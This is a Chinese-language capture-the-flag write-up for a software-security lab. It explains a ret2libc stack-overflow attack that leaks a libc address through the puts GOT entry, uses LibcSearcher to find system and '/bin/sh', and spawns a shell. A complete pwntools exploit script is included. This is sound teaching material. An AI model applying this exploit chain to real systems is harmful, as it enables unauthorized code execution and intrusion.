Tamevic’s Ctf-Pwn writeup@软件安全‘实验3pwn’
实验难度升级==有点晕了
文件:
其实和实验2是同一个文件,然后我还没传网盘…然后…好吧我承认我有拖延症…
3.24更新:我来发文件了…链接:https://pan.baidu.com/s/19gIMQhEQSaB3LJWb1rFFYQ 密码:6xlt
分析
这次实验的要求是不允许直接使用System函数,也不允许使用文件自带的getflag()函数,需要使用一些其他的技巧来获得System函数的地址。
划重点:
参考CTF-WIKI:https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/basic-rop/#3
System函数是libc.so函数库中的一个函数,而且函数和函数在其中的相对位置(或者说相对偏移)不会发生变化,所以我们可以先使用一个其他的函数,得到它的地址,确定这个函数使用的libc版本(libc在github上有人收集),然后再获得System函数的地址。
那如何获得某个函数的地址?具体操作是使用got表泄露,即将这个函数got表中的内容输出出来即可。
关于got表和plt表,可以看看这篇博客:https://blog.youkuaiyun.com/qq_18661257/article/details/54694748
所以基本操作就是先获得libc,然后在库中查询System函数(其实’/bin/sh‘字符串在libc中也有,也可以同样查询出来),这里用到一个工具LibcSearcher(https://github.com/lieanu/LibcSearcher )
具体exp思路:
- 利用一次主函数的溢出,将ret设置为想要溢出的函数的plt表地址(我们这里用的是’puts‘函数), 将got表中的数据输出出来,并再次进入主函数
- 获得libc版本,计算System函数地址,计算’/bin/sh‘字符串地址
- 再次利用main()函数的溢出,使程序跳转到system(’/bin/sh’),随后getshell
-看看主函数记下主函数地址
0x080484FD
-写脚本
之前对pwn理解不够深入,一直使用的是静态分析,但简单的东西还能这样做,稍微复杂一些的程序执行起来的样子只有动态调试才能知道。
这里就有一些写脚本的技巧:
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
第一句的目的是将python和程序之间进行的交互内容公开出来(也可以理解为调试),对其中每一步的变化都可见;
第二句的目的是新建一个terminal,便于进行gdb调试
pwnlib.gdb.attach(sh)
这里就是pwntools自带的工具,大概功能就是在程序的相应位置下断点,然后利用新建的terminal窗口进行调试。但是这里其实是有些缺陷,断点的位置通常会滞后。
已经使用的函数的plt表地址和got表地址怎么获取?这里也是pwntools的一个附件可以实现
LibcSearcher怎么使用?
libc = LibcSearcher('函数名',已经泄露的地址)
libcbase = 已经泄露的地址 - libc.dump('函数名')
想要泄露的函数地址 = libcbase + libc.dump('想要泄露的函数地址')
写好exp开始运行,得到结果
附
from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal=['gnome-terminal','-x','sh','-c']
sh=process('./pwn')
elf=ELF('./pwn')
main_addr=0x080484FD
puts_plt=elf.plt['puts']
print('puts_plt',hex(puts_plt))
puts_got=elf.got['puts']
print('puts_got',hex(puts_got))
#pwnlib.gdb.attach(sh)
payload='a'*112+p32(puts_plt)+p32(main_addr)+p32(puts_got)
sh.recvuntil('try\n')
sh.sendline(payload)
#print ('got libc_st_main')
puts_addr = u32(sh.recv(4))
#print ('puts_addr',hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
#print libc
libcbase = puts_addr - libc.dump('puts')
#print '!'
system_addr = libcbase + libc.dump('system')
#print"!"
binsh_addr = libcbase + libc.dump('str_bin_sh')
#print'!'
payload = 'A'*104+ p32(system_addr) + 'b'*4 + p32(binsh_addr)
sh.sendline(payload)
sh.interactive()
结果
运行脚本,getshell
这里其实还有很多问题:
可能有些人能看到,我两次main()函数中溢出的位置不一样,一次是0x6c+4
,一次是0x64+4
,这就需要动态调试去发现了。由于s=esp+0x1c
,用ebp-esp-0x1c
就可以知道溢出位置。
End
其实本可以很早就能做出来的…最致命操作是我写错了 ’system’ …还有‘str_bin_sh’…然后就造成下面这种情况明明匹配到了libc库却找不到函数…
枯了。